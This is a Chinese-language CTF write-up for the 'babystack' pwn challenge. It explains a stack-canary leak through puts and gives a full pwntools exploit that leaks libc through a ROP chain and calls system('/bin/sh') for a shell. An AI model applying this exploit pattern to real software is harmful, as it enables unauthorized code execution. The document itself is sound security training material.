others_babystack
一道泄露canary+rop常规的题。
这道题让我学习到了,原来canary的最后一位是\x00,又因为是小端存储,所以在内存中我位置是在开头的。
来,下载文件检查一下保护。
开启了canary和nx保护,ida看一眼伪c代码。
一个菜单类型的题,大概就是1是存储数据,2是输出数据,3是退出。puts函数输出是遇到\x00才停止输出,那么我们如果能够把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。接下来就是rop的常规操作了。这里我还犹豫泄露libc版本的时候需要返回跳到main函数,需不需要再泄露一次canary,后来发现canary的值没有变,这样我们就不用再费事了。贴一下exp啦!
1 from pwn import * 2 import time 3 4 #p = process('./babystack') 5 p = remote('node3.buuoj.cn',27237) 6 elf = ELF('./babystack') 7 context.log_level = 'debug' 8 9 p.sendlineafter('> ','1') 10 p.sendline('a'*0x88) 11 p.sendlineafter('> ','2') 12 p.recvuntil('aaaa\n') 13 canary = u64(p.recv(7).rjust(8,'\x00')) 14 print 'canary-->' + hex(canary) 15 #leak canary 16 17 pop_rdi = 0x0400a93 18 puts_plt = elf.plt['puts'] 19 puts_got = elf.got['puts'] 20 main_addr = 0x0400908 21 p.sendlineafter('> ','1') 22 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 23 p.sendline(payload) 24 p.recv() 25 p.sendlineafter('> ','3') 26 puts_addr = u64(p.recv(6).ljust(8,'\x00')) 27 print 'puts_addr-->' + hex(puts_addr) 28 #leak libc 29 30 sleep(1) 31 base_addr = puts_addr - 0x06f690 32 system_addr= base_addr + 0x045390 33 binsh_addr = base_addr + 0x18cd57 34 p.sendline('1') 35 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) 36 p.sendline(payload) 37 sleep(1) 38 p.sendlineafter('> ','3') 39 p.interactive() 40 p.close() 41 #getshell